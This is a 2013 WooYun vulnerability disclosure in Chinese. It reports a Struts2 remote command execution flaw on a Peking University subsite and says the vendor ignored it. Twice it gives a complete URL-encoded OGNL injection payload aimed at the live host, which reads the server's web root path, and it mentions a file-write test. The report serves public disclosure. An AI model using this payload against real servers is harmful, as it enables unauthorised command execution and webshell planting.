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缺陷编号:wooyun-2013-031673

漏洞标题:北京大学某分站Struts2漏洞可shell

相关厂商:北京大学

漏洞作者: 飞扬风

提交时间:2013-07-22 11:41

修复时间:2013-09-05 11:41

公开时间:2013-09-05 11:41

漏洞类型:命令执行

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-07-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

北京大学某分站Struts2远程命令执行漏洞

详细说明:

http://xgb.pku.edu.cn/home/viewPage.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}

11.jpg


写文件测试如下

12.jpg

漏洞证明:

http://xgb.pku.edu.cn/home/viewPage.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}

11.jpg


写文件测试如下

12.jpg

修复方案:

打补丁升级

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝